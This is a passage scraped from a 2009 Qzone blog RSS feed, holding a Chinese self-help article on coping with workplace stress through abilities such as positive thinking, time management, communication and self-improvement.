]]> http://305246635.qzone.qq.com/blog/1250794984#comment 134219272 Thu, 20 Aug 2009 19:03:04 GMT http://305246635.qzone.qq.com/blog/1250794984 http://305246635.qzone.qq.com/blog/1250492764 　　自我的人生价值和角色定位、人生主要目标的设定等等，简单的说就是：你准备做一个什么样的人，你的人生准备达成哪些目标。这些看似与具体职场压力无关的东西其实对我们的影响却总是十分巨大，对很多职场压力的反思最后往往都要归结到这个方面。卡耐基说：我非常相信，这是获得心理平静的最大秘密之一——要有正确的价值观念。而我也相信，只要我们能定出一种个人的标准来——就是和我们的生活比起来，什么样的事情才值得的标准，我们的忧虑有50%可以立刻消除。
　　2、调整心态的能力
　　法国作家雨果曾说过：思想可以使天堂变成DY，也可以使DY变成天堂。我们要认识到危机即是转机，遇到困难，产生压力应尽量以正向乐观的态度去面对每一件事。如同有人研究所谓乐观系数，也就是说一个人常保持正向乐观的心，处理问题时，他就会比一般人多出20%的机会得到满意的结果。因此正向乐观的态度不仅会平息由压力而带来的紊乱情绪，也较能使问题导向正面的结果。
　　3、自我反省的能力
　　对于一个积极进取的人而言，面对业务指标压力时可以自问，如果没做成又如何?这样的想法并非找借口，而是一种有效疏解压力的方式。但如果本身个性较容易趋向于逃避，则应该要求自己以较积极的态度面对压力，告诉自己，适度的压力能够帮助自我成长。
　　4、平衡生活的能力
　　我们要主动管理自己的情绪，注重业余生活，不要把工作上的压力带回家。留出休整的空间：与他人共享时光，交谈、倾诉、阅读、冥想、听音乐、处理家务、参与体力劳动都是获得内心安宁的绝好方式，选择适宜的运动，锻炼忍耐力、灵敏度或体力……持之以恒地交替应用你喜爱的方式并建立理性的习惯，逐渐体会它对你身心的裨益。
　　5、管理时间的能力
　　工作压力的产生往往与时间的紧张感相生相伴，总是觉得很多事情十分紧迫，时间不够用。解决这种紧迫感的有效方法是时间管理，关键是不要让你的安排左右你，你要自己安排你的事。在进行时间安排时，应权衡各种事情的优先顺序，要学会弹钢琴.对工作要有前瞻能力，把重要但不一定紧急的事放到首位，防患于未然，如果总是在忙于救火，那将使我们的工作永远处于被动之中。
　　6、人际沟通的能力
　　平时要积极改善人际关系，特别是要加强与上级、同事及下属的沟通，要随时切记，压力过大时要寻求主管的协助，不要试图一个人就把所有压力承担下来。同时在压力到来时，还可采取主动寻求心理援助，如与家人朋友倾诉交流、进行心理咨询等方式来积极应对。
　　7、自我提升的能力
　　既然压力的来源是自身对事物的不熟悉、不确定感，或是对于目标的达成感到力不从心所致，那么，疏解压力最直接有效的方法，便是去了解、掌握状况，并且设法提升自身的能力。通过自学、参加培训等途径，一旦会了、熟了、清楚了，压力自然就会减低、消除，可见压力并不是一件可怕的事。逃避之所以不能疏解压力，则是因为本身的能力并未提升，使得既有的压力依旧存在，强度也未减弱。
　　8、活在今天的能力
　　压力，其实都有一个相同的特质，就是突出表现在对明天和将来的焦虑和担心。而要应对压力，我们首要做的事情不是去观望遥远的将来，而是去做手边的清晰之事，因为为明日作好准备的最佳办法就是集中你所有的智慧、热忱，把今天的工作做得尽善尽美。 ]]> http://305246635.qzone.qq.com/blog/1250492764#comment 134218760 Mon, 17 Aug 2009 07:06:04 GMT http://305246635.qzone.qq.com/blog/1250492764